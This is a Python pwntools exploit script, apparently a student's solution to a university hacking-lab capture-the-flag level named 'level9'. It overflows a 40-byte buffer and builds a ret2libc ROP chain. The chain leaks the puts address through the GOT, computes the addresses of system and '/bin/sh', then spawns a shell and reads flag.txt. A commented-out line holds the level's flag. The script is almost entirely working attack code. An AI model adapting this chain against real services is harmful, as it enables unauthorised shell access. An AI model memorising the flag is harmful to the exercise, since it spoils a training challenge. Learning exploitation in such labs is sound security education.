# 0x0000000000401263 : pop rdi ; ret

from pwn import *

HOST, PORT = "localhost", 4009
#HOST, PORT = "binexp.stud12.hacklab.ias.tu-bs.de", 4009
#p = remote(HOST, PORT)
p = process('./level9')

#question = p.recvline(timeout=2)
#print("[+] question:", question.decode().strip())
#
#question = p.recvline(timeout=2)
#print("[+] question:", question.decode().strip())
#
#payload = "hacklab{ret2libc_1s_p0w3rful_urPDIYAb}"
#p.sendline(payload.encode())
#print("sending: ", end='')
#print(payload)
#
#question = p.recvline(timeout=2)
#print("[+] question:", question.decode().strip())
#
#question = p.recvline(timeout=2)
#print("[+] question:", question.decode().strip())


libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_offset   = libc.symbols['puts']           # e.g. 0x080aa0
system_offset = libc.symbols['system']         # e.g. 0x04f550
binsh_offset  = next(libc.search(b'/bin/sh'))  # e.g. 0x1b75aa

print(hex(puts_offset))
print(hex(system_offset))
print(hex(binsh_offset))

elf = ELF('./level9')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']

#help_input = p.recvline()
#print(help_input)
#puts_abs = int(help_input[-15:-1],16)
#print(hex(puts_abs))

p.recvuntil("What do you want to talk about?".encode())
payload  = b'A'*40
payload += p64(0x0000000000401264)
payload += p64(0x0000000000401263)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.sendline(payload)
print("send payload: ", payload)

leak = p.recvline(timeout=999)
print("[+] line:", leak)
leak = p.recvline(timeout=999)
print("[+] line:", leak)
leak = p.recvline(timeout=999)
print("[+] line:", leak)
puts_abs = int.from_bytes(leak[:-1], 'little')
print("[+] leaked puts:", hex(puts_abs))

p.recvuntil("What do you want to talk about?".encode())

payload  = b'A'*40
#payload += p64(0x0000000000401264)
payload += p64(0x0000000000401263)
payload += p64(puts_abs - puts_offset + binsh_offset)
payload += p64(puts_abs - puts_offset + system_offset)
p.sendline(payload)

print("payload: ",payload)

p.sendline("cat flag.txt".encode())
p.interactive()
